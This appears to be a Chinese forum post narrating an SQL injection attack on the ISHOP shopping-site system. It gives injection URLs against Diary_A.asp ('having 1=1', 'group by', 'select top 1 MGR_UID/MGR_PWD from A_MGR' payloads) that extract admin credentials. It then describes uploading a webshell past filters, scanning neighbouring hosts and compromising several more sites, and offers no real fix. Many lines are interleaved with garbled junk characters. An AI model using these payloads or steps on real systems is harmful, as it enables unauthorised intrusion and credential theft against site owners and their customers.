ISHOP商场建站系统注入漏洞

admin

发现一个注入点
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
1 U- p( m7 b6 R' w# v; M
习惯性的加’having1=1--

http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—

0 `+ p; M2 x( t" F( N( k% g0
# N- W* X2 Y* U
爆出Diary_A.dl_Title（这时候很激动啊）
. h& l  y, g8 D# ^; ]
那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

+ D+ y) u" {* [9 j6 @继续，一直爆下去

9 G5 {/ H' X! Q; ]爆到几个字段和表段 但是没找到需要的管理用户的字段

: |( w1 c* d$ w5 R1 s( _, K蛋疼了 怎么办 然后去后台登陆页看源码

& {2 k: {# a# e, Q% n0

Input name= “ADUID”
( U3 O& Q. F5 H  I+ eInput name= “ADPWD”

很幸运 找到了字段那就继续
& Q- L- D/ i, D' P- E找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
9 w; t% @' I* D5 z0 H爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
测试了下 这个注入点只能爆到文章哪里的表

" Z* m$ C! n7 s' O头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

2 n6 G7 K* d1 [% k1 e; ?又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

473

进后台
3 g) a, P! g3 _6 N* p

发现几个上传点 有的地方不能上传 而且防止恶意代码

没办法 各种百度各种找大牛 找到一只好像可以突破的马
% U: R, s- n/ p$ _" C$ }
: v' K( c! M2 z" r$ W( a1 c$ W. K- v
在系统管理那里直接上传 不过没有显示地址
3 r4 R  `5 `# C2 e- k  s% ^1 A# x
再上传一次 抓包 搞定OK



7 a. O3 B, @; a, u4 p) ]* A472
+ h1 a# C9 K" I/ i! H
晚上不行了 去睡觉。。。
- x, I( K' [" `& h( a8 Y% S第二天刚起床 闲的没事做继续日站吧

找个站 就把这个站的旁c扫了下
- _% ]+ j: l. p7 w; D
- ^9 P% a/ {% _& g+ l6 C$ }+ m发现c段也有一个购物站 ，然后还和这个站的模板差不多
! F. J) {( }, r' J; A
5 ~  `% {) Y( v( h$ A就找到会员登录口测试
' w2 g  ~3 x2 _% \% L
6 Z+ z( a5 i) M7 P+ u1 R- c'and (select top 1 MGR_UID from A_MGR)>0—
果断爆到了 这时候我很激动 通杀
% F1 _% P$ K0 y1 ?
再次翻c段
# B  a7 |: S' I8 Y
翻出几个站 都成功拿下
( r7 ^. B5 Y! n$ L% t  J


修复方案：
他们比我专业
! K; E# [9 }3 I​
+ O# C9 H5 j3 k% j

4 G. g& k7 u& |0 u! k- V